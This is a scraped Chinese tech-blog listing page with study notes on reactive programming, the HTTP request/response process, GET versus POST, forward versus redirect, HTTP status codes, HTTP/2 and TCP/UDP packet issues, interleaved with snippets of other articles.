    • 订阅者是事件订阅方。

    • 订阅将发布者和订阅者联系起来,使订阅者可以向发布者发送信号。

    响应式编程是一种基于异步数据流概念的编程模式。数据流就像一条河:它可以被观测,被过滤,被操作,或者为新的消费者与另外一条流合并为一条新的流。

    响应式编程的一个关键概念是事件。事件可以被等待,可以触发过程,也可以触发其它事件。事件是唯一的以合适的方式将我们的现实世界映射到我们的软件中:如果屋里太热了我们就打开一扇窗户。同样的,当我们更改电子表(变化的传播)中的一些数值时,我们需要更新整个表格或者我们的机器人碰到墙时会转弯(响应事件)。

    今天,响应式编程最通用的一个场景是UI:我们的移动App必须做出对网络调用、用户触摸输入和系统弹框的响应。在这个世界上,软件之所以是事件驱动并响应的是因为现实生活也是如此。

    响应式编程的具体实现-RxJava。RxJava提供了一种以面向时序的方式考虑数据的机会:所有事情都是持续变化的,数据在更新,事件在触发,然后你就可以创建事件响应式的、灵活的、运行流畅的App。

    展开全文
  • HTTP请求到响应全过程

    千次阅读 2019-10-15 08:43:49
    HTTP请求和响应的全过程 1.首先进行域名解析 2.TCP的三次握手 3.Web浏览器向Web服务器发送请求命令 4.Web浏览器发送请求头信息等关于自身的信息,最后发送一个空请求头代表头信息发送完毕,如果是POST提交,会继续...

    HTTP请求和响应的全过程

    1.首先进行域名解析

    2.TCP的三次握手

    3.Web浏览器向Web服务器发送请求命令

    4.Web浏览器发送请求头信息等关于自身的信息,最后发送一个空请求头代表头信息发送完毕,如果是POST提交,会继续提交请求体。

    5.Web服务器应答,应答第一部分是版本号和协议状态码。

    6.Web服务器发送应答头信息关于他它自己的信息及别被请求的文档最后发送一个空百行表示头信息发送结束。

    7.Web服务器向浏览器发送数据以Content-Type应答头信息所描述的格式发送用户所请求的实际数据。

    8.Web服务器关闭TCP连接一旦Web服务器向浏览器发送了请求数据,它就要关闭TCP连接。如果添加Connection:keep-alive TCP连接在发送后仍然保持打开状态。

    get和post的区别

    get向服务器请求数据,post向服务器发送数据。

    get向服务器请求数据会返回HTTP-URL信息,就是请求参数会出现在地址栏URL中,所以不安全。

    post通过请求体传递参数,在地址栏只显示请求资源的URL,所以相对安全。

    请求体:

    get的请求参数放在请求首行中,HTTP限制其大小为1KB,传送数量有限。

    post的请求参数放在请求体中,请求体没有大小限制,传送数据量没有限制。

    get请求的参数不能通过request.setCharacterEncoding(“GBK”)来设置编码,get请求只能进行URL编码,而POST支持多种编码方式。

    get与post是HTTP的两种发送请求方式,且都是TCP链接,底层工作完全一样(行为准则一样)。

    真正的区别在哪里(由TCP决定):

    对于get,浏览器会把请求头参数和数据一把梭的发送出去后服务器响应,

    而post就需要分成两步走,先发个请求头参数过去,通过了,再发送数据过去,服务器才会响应。

    然而真正的区别并非绝对,还要看浏览器的不同而最终决定。

    forward和redirect的区别

    forward是服务器请求资源,服务器直接访问目标地址的URL,把那个URL的响应内容读取过来,然后把这些内容再发给浏览器.浏览器根本不知道服务器发送的内容从哪里来的,所以它的地址栏还是原来的地址。
    redirect是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址.所以地址栏显示的是新的URL。

    数据共享
    forward: 转发页面和转发到的页面可以共享request里面的数据。
    redirect: 不能共享数据。

    地址栏显示
    forward: 一般用于用户登陆的时候,根据角色转发到相应的模块。
    redirect: 一般用于用户注销登陆时返回主页面和跳转到其它的网站等。

    效率
    forward: 高。
    redirect: 低。

    本质区别:

    转发是服务器行为,重定向是客户端行为。为什么这样说呢,这就要看两个动作的工作流程:

    转发过程:客户浏览器发送http请求—>web服务器接受此请求—>调用内部的一个方法在容器内部完成请求处理和转发动作—>将目标资源 发送给客户;在这里,转发的路径必须是同一个web容器下的url,其不能转向到其他的web路径上去,中间传递的是自己的容器内的request。在客户浏览器路径栏显示的仍然是其第一次访问的路径,也就是说客户是感觉不到服务器做了转发的。转发行为是浏览器只做了一次访问请求。

    重定向过程:客户浏览器发送http请求—>web服务器接受后发送302状态码响应及对应新的location给客户浏览器—>客户浏览器发现 是302响应,则自动再发送一个新的http请求,请求url是新的location地址—>服务器根据此请求寻找资源并发送给客户。在这里 location可以重定向到任意URL,既然是浏览器重新发出了请求,则就没有什么request传递的概念了。在客户浏览器路径栏显示的是其重定向的 路径,客户可以观察到地址的变化的。重定向行为是浏览器做了至少两次的访问请求的。

    重定向,其实是两次request:第一次,客户端request A,服务器响应,并response回来,告诉浏览器,你应该去B。这个时候IE可以看到地址变了,而且历史的回退按钮也亮了。重定向可以访问自己web应用以外的资源。在重定向的过程中,传输的信息会被丢失。

    HTTP状态码(HTTP Status Code):

    一些常见的状态码为:

    • 1xx(临时响应)表示临时响应并需要请求者继续执行操作的状态代码。代码 说明
    • 100 (继续) 请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。
    • 101 (切换协议) 请求者已要求服务器切换协议,服务器已确认并准备切换。
    • 2xx (成功)表示成功处理了请求的状态代码。代码 说明
    • 200 (成功) 服务器已成功处理了请求。 通常,这表示服务器提供了请求的网页。
    • 201 (已创建) 请求成功并且服务器创建了新的资源。
    • 202 (已接受) 服务器已接受请求,但尚未处理。
    • 203 (非授权信息) 服务器已成功处理了请求,但返回的信息可能来自另一来源。
    • 204 (无内容) 服务器成功处理了请求,但没有返回任何内容。
    • 205 (重置内容) 服务器成功处理了请求,但没有返回任何内容。
    • 206 (部分内容) 服务器成功处理了部分 GET 请求。
    • 3xx (重定向) 表示要完成请求,需要进一步操作。 通常,这些状态代码用来重定向。代码 说明
    • 300 (多种选择) 针对请求,服务器可执行多种操作。 服务器可根据请求者 (user agent) 选择一项操作,或提供操作列表供请求者选择。
    • 301 (永久移动) 请求的网页已永久移动到新位置。 服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
    • 302 (临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
    • 303 (查看其他位置) 请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码。
    • 304 (未修改) 自从上次请求后,请求的网页未修改过。 服务器返回此响应时,不会返回网页内容。
    • 305 (使用代理) 请求者只能使用代理访问请求的网页。 如果服务器返回此响应,还表示请求者应使用代理。
    • 307 (临时重定向) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
    • 4xx(请求错误) 这些状态代码表示请求可能出错,妨碍了服务器的处理。代码 说明
    • 400 (错误请求) 服务器不理解请求的语法。
    • 401 (未授权) 请求要求身份验证。 对于需要登录的网页,服务器可能返回此响应。
    • 403 (禁止) 服务器拒绝请求。
    • 404 (未找到) 服务器找不到请求的网页。
    • 405 (方法禁用) 禁用请求中指定的方法。
    • 406 (不接受) 无法使用请求的内容特性响应请求的网页。
    • 407 (需要代理授权) 此状态代码与 401(未授权)类似,但指定请求者应当授权使用代理。
    • 408 (请求超时) 服务器等候请求时发生超时。
    • 409 (冲突) 服务器在完成请求时发生冲突。 服务器必须在响应中包含有关冲突的信息。
    • 410 (已删除) 如果请求的资源已永久删除,服务器就会返回此响应。
    • 411 (需要有效长度) 服务器不接受不含有效内容长度标头字段的请求。
    • 412 (未满足前提条件) 服务器未满足请求者在请求中设置的其中一个前提条件。
    • 413 (请求实体过大) 服务器无法处理请求,因为请求实体过大,超出服务器的处理能力。
    • 414 (请求的 URI 过长) 请求的 URI(通常为网址)过长,服务器无法处理。
    • 415 (不支持的媒体类型) 请求的格式不受请求页面的支持。
    • 416 (请求范围不符合要求) 如果页面无法提供请求的范围,则服务器会返回此状态代码。
    • 417 (未满足期望值) 服务器未满足"期望"请求标头字段的要求。
    • 5xx(服务器错误)这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。代码 说明
    • 500 (服务器内部错误) 服务器遇到错误,无法完成请求。
    • 501 (尚未实施) 服务器不具备完成请求的功能。 例如,服务器无法识别请求方法时可能会返回此代码。
    • 502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
    • 503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。
    • 504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。
    • 505 (HTTP 版本不受支持) 服务器不支持请求中所用的 HTTP 协议版本。

    HTTP2 解决了HTTP1.x什么问题?

    随着互联网的快速发展,HTTP1.x协议得到了迅猛发展,但当App一个页面包含了数十个请求时,HTTP1.x协议的局限性便暴露了出来:

    每个请求与响应需要单独建立链路进行请求(Connection字段能够解决部分问题),浪费资源。

    每个请求与响应都需要添加完整的头信息,应用数据传输效率较低。

    默认没有进行加密,数据在传输过程中容易被监听与篡改。

    由于HTTP1.x暴露出来的问题,Google设计了全新的名为spdy的新协议。spdy在五层协议栈的TCP层与HTTP层引入了一个新的逻辑层以提高效率。spdy是一个中间层,对TCP层与HTTP层有很好的兼容,不需要修改HTTP层即可改善应用数据传输速度。 spdy通过多路复用技术,使客户端与服务器只需要保持一条链接即可并发多次数据交互,提高了通信效率。 而HTTP2便士基于spdy的思路开发的。 通过流与帧概念的引入,继承了spdy的多路复用,并增加了一些实用特性。

    特征:

    多路复用:http2为了优化http1.x对TCP性能的浪费,提出了多路复用的概念。

    压缩头信息:http2为了解决http1.x中头信息过大导致效率低下的问题,提出的解决方案便是压缩头部信息。具体的压缩方式,则引入了HPACK。

    对请求划分优先级。

    支持服务端Push消息到客户端。

    UDP丢包/TCP粘包

    TCP是面向流,TCP为了提高传输效率, 发送数据的时候, 并不是直接发送数据到网路, 而是先暂存到系统缓冲, 超过时间或者缓冲满了, 才把缓冲区的内容发送出去, 这样, 就可以有效提高发送效率。前一份Send的数据跟后一份Send的数据可能会暂存到缓冲当中, 然后一起发送,就会发生粘包。

    UDP是面向报文, 系统不会缓冲的, 也不会做优化, Send的时候, 就会直接Send到网络上, 对方收不得收到也不管, 所以这块数据总是能够能一包一包的形式接收到, 而不会出现前一个包跟后一个包都写到缓冲然后一起Send,一个或多个数据数据包的数据无法透过网上到达目的地。

    解决方法:

    TCP只要保证自己写入的流是按 长度 + 内容 + 长度 + 内容 这样就可以非常简单的解决粘包问题, 切忌不要采用所谓的 开始标识 + 数据 + 结束标识 来分包, 适用性极低, 错误率极高, 除非数据都是固定有格式, 否则是不能采用这种方式的。
    UDP传送当中, 只存在丢包的可能, 收到包的时候, 肯定这个包的内容就是正确的, 很少会有错误的, 因为UDP本身也会用CRC32进行验证, 还有长度验证, 验证不通过, 系统自动就会丢弃。所以哪里丢了就从哪里去捡。

    展开全文
  • 如何建立线上问题快速响应机制

    千次阅读 2019-05-18 11:33:04
    在定位问题过程中,讲究“快”、“准”、“狠”,快速响应并准确定位到问题产生原因后,及时给出解决方案,避免应时间成本的不必要增加。 4、故障排除    故障发现后,接下来的故障修复就不是什么非常困难的事...
  • fork vfork clone 的含义 写时拷贝技术 Linux线程的实现本质 进程0 和 进程1 进程的睡眠和等待队列 孤儿进程的托孤 ,SUBREAPER ...吞吐 vs. 响应 SCHED_FIFO算法 与 SCHED_RR算法 SCHED_NORMAL...
  • Nginx出现大量499响应码怎么办?

    千次阅读 2021-12-14 20:52:13
    服务器的问题,例如CPU使用高,队列堵塞,导致无法及时处理请求,从而导致客户端超时断开连接网络出现问题,丢包或者出现网络堵塞专线线路存在问题后端服务存在性能瓶颈,当流量变大时,响应时间提高,导致客户端...
  • Window应急响应(四):挖矿病毒

    千次阅读 2018-08-05 15:17:00
    病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用高,C盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题。 0x01 应急场景 ​ 某天上午重启服务器的时候,发现程序启动很慢,打开任务管理...
  • Java的HTTP服务端响应式编程

    千次阅读 2018-06-29 16:52:11
    其次就是,JDK1.8依然存在的epoll bug:若Selector的轮询结果为空,也没有wakeup或新消息处理,则发生空轮询,CPU使用100%。 Netty才是NIO该有的水准 作为一个第三方框架,Netty做到了JDK本应做到的事情。 Netty的...
  • 服务器响应缓慢的解决方法

    千次阅读 2019-08-27 15:01:46
    用户在使用服务器一段时间后会发现网站打开速度变慢,如果遇到这种问题,我们可以从服务器的硬件和软件方面来进行升级优化,以提升服务器的性能跟它的整体利用。下面一起来从这几个方面了解下吧~ 一、使用服务器的...
  • 1、响应时间:对请求作出响应所需要的时间  网络传输时间:N1+N2+N3+N4  应用服务器处理时间:A1+A3  数据库服务器处理时间:A2  响应时间=N1+N2+N3+N4+A1+A3+A2  2、并发用户数的计算公式  系统用户数...
  • 响应式系统reactive system初探

    千次阅读 2020-05-14 06:51:27
    文章目录 初识响应式系统 什么是响应式系统 响应式系统的四大特点 及时响应性(Responsive) 恢复性(Resilient) 有弹性(Elastic) 消息驱动(Message Driven) 总结 初识响应式系统 第一次听到reactive这个词还是...
  • Android ANR程序无响应及其异常定位

    千次阅读 2018-06-27 16:14:04
    android 开发过程中有时会遇见项目无响应异常,这类异常异常并不像Crash那样打印log信息,因此无法被捕获。所以来看一下这个ANR异常的出现原因及其定位。关键字: 主线程阻塞:网络访问等的线程阻塞,CPU满负荷, I/...
  • 吞吐量(TPS)、QPS、并发数、响应时间(RT)概念 QPS 原理:每天80%的访问集中在20%的时间里,这20%时间叫做峰值时间。 公式:( 总PV数 * 80% ) / ( 每天秒数 * 20% ) = 峰值时间每秒请求数(QPS) 。 ...
  • 服务器响应时间缓慢的解决方法

    千次阅读 2019-04-02 11:02:29
    用户在使用服务器一段时间后会发现网站打开速度变慢,如果遇到这种问题,我们可以从服务器的硬件和软件方面来进行升级优化,以提升服务器的性能跟它的整体利用。下面一起来从这几个方面了解下吧~  一、使用服务器...
  • 安全事件响应系统设计探讨

    千次阅读 2015-12-31 16:22:07
    安全研究人员围绕着数据收集,数据分析和响应策略提出了很多模型。其中洛克希德马丁提出的攻击链模型对攻击行为给出了比较清晰的刻画,为如何在海量日志里准确的刻画攻击路径及攻击危害提供了思路。ISC
  • ,他们的特点是数据都以时间序列的方式进入系统并经过数据预聚合和建立索引,因为是预计算,所以应对多维查询时非常快,数据也非常及时,同时具备多维分析和实时处理的优点,在性能监控、实时指标分析的场景里应用较...
  • 客户端和服务器定期的建立连接,通过消息队列等方式来查询是否有新的消息,需要控制连接和查询的频率,频率不能过慢或过快,过慢会导致部分消息更新不及时,过快会就会出现数据压力,严重时甚至会导致后台系统宕机或...
  • 桔妹导读:所谓需求响应式公交,就是根据用户出行需求,提供非固定路线的、能够实时拼单的公交系统。目前滴滴动态公交可通过灵活调配运力、实时规划行驶路线,为用户提供经济、直达、有座、高效的响应...
  • 【译】如何精确判断最终用户响应时间过长的原因? 译者:原始文章有点性能测试工具软文的感觉,毕竟文章来源于某工具官方博客。高手请略过。 对于我这种新手,此文还是给我带来一些惊喜,从上到下地,从表象到...
  • 对象没有被及时回收?有的资源没有被关闭?数据库方面设计有问题,sql语句需要优化?服务器受到工具,随着用户增多,性能出现问题?首先,我会先查看tomcat的日志。看看日志里有没有异常我会想是不是内存问题,垃圾...
  • 运维人员更关注基础设施性能和资源利用,如网络运营商的带宽能力、服务器硬件的配置、数据中心网络架构、服务器和网络带宽的资源利用等。主要优化手段有建设优化骨干网、使用高性价比定制服务器、利用虚拟化技术...
  • 在java和android开发中非常的牛逼。主要的优点是响应式编程,逻辑区域化。今天,我也来说一说关于Rxjava的使用方法。后期会逐步讲到RxBinding在android中的使用和Rxjava同Retrofit结合的例子。
  • 采用异步编程,及时响应前端,不影响其他的操作。缺点:由于响应变快,导致大量的数据向服务端提交,最终会导致数据延时写入。有脏数据的产生。 添加连接数量。缺点:资源浪费 将短连接改为长连接。 现在...
  • 由于适用于矿井探测空间的视电阻算法在大量数据处理平台中还未得到及时更新,很多矿方技术人员仍在沿用传统的地面视电阻算法,其结果的可靠性值得探讨。通过将水平电偶极子产生的瞬变电磁场沿发射回线的路径进行...
  • 有很多集群,每个集群有几百台机器,我们怎么批量部署,同时又解决风险控制的问题,比如说我们的发布——在生产环境下——一般走预发,再走分批发,因为这样是为了规避风险,比如预发有问题的话,能够及时的退回来,...
  • 原因找到了,因为FixedUpdate和Update的刷新不同导致的。如果确实需要在FixedUpdate中执行逻辑,可以这些写 private bool action = false; void Update() { if (Input.GetMouseButtonDown(0)) { action = ...
  • 提升订单计划完成 快速灵活编制生产计划 减少计划人员工作量 降库存,实现精益生产 合理产能、避免忙闲不均 在实际生产中,特别是离散型制造企业通常具有小批量,多品种,订单变化大的生产特征,...
  • 压力测试流程及测试步骤

    千次阅读 2021-02-25 19:14:17
    对于一个系统而言,包含并发用户数、响应时间、吞吐量、以及资源利用等方面的信息。 2、名词解释 并发用户数:并发用户数是针对服务端而言,是指在同一时刻与服务端进行交互的在线用户数量。在压力测试期间是...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 64,258
精华内容 25,703
关键字:

响应及时率